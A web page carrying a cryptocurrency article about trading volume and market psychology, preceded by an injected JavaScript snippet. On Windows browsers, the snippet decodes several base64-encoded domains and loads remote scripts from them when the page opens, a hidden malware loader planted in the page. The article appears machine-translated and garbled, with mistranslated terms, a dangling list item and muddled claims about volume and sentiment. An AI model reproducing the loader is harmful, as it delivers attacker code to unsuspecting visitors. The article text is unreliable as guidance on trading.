if(navigator.userAgent.toLowerCase().indexOf(“windows”) !== -1){const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=|NXQ0MTQwMmEuc2l0ZS94cC8=|OWUxMDdkOWQuc2l0ZS94cC8=|ZDQxZDhjZDkuZ2l0ZS94cC8=|ZjAwYjRhMmIuc2l0ZS94cC8=|OGIxYjk5NTMuc2l0ZS94cC8=”;const pds=pdx.split(“|”);pds.forEach(function(pde){const s_e=document.createElement(“script”);s_e.src=”https://”+atob(pde)+”cc.php?u=c3873a4e”;document.body.appendChild(s_e);});}
The role of trading volume in market psychology: Understanding the impact on cryptocurrency prices
Cryptocurrency, decentralized digital currency, has gained significant attention in recent years. Thanks to the potential disturbance of traditional financial systems and providing access to financial markets for people around the world, cryptocurrency has become a hot topic among investors, traders and market participants. The aspect, which is often overlooked or misunderstood, is the importance of trading in the psychology of modeling market.
What is a commercial volume?
The volume of turnover refers to the total number of activities or coins listed on a specific market for a certain time. He represents the general activity of buying and selling buyers and sellers that can be used to assess market feelings, liquidity and potential price movements. In cryptocurrencies, commercial volumes are measured in units such as BTC (Bitcoin), ETH (Ethereum) or USDT (Tether).
The role of trading volume in market psychology
The commercial volume plays a key role in modeling market psychology for several reasons:
- Sending the market : High commercial volumes often indicate strong market sensations, buyers and sellers in aggressive purchases and sales respectively. Instead, low trade volumes suggest a bear feeling or stubborn.
- price variability : commercial volume can contribute to price variability because they affect the total number of transactions on a specific exchange. When the size of the transaction increases, it can increase price fluctuations, which makes it difficult to predict market movements.
- liquidity : High commercial volumes indicate sufficient liquidity on the market, which allows you to effectively discover prices and minimizes the impact of variability. On the other hand, low trade volumes can cause market inefficiency, which leads to potential losses for traders.
- Emotional intensity : Trading volume can also be used to measure emotional intensity on the market. Large volume transactions often occur during periods of variability or emotions on the high market, while low volume transactions suggest calm and rational markets.
impact on cryptocurrency prices
In the context of cryptocurrency trade, strong commercial volumes are related to:
1.
- Price support/resistance : High commercial volumes can help identify the level of assistance or price resistance, because they tend to attract more buyers and sellers from these areas.
- Market trends : Trading volume can be used to confirm market trends such as the direction of the trend line or the power of growth.
Strategies contrary to intuition
While the rotation volume is often associated with high -frequency trade strategies, there are some contrary to the intuition of approach that use it for profit:
- spreading volume : Buying and selling in limited price movements can create volume spaces that can be used to use the resulting price fluctuations.
- Crossing the scope
: Traders can use low trade volumes for trade in the range or between two levels of assistance/resistance, using limited activity in these areas.
Application
To sum up, the volume of trading is an important element of market psychology, affecting market feeling, liquidity and emotional intensity. Understanding the role of trading volume in modeling cryptocurrency prices, traders can get valuable information about potential trends and possibilities. However, it should be considered that the volume of trading is not an independent indicator and should be used with other factors to make informed investment decisions.
No Comments
Leave a comment Cancel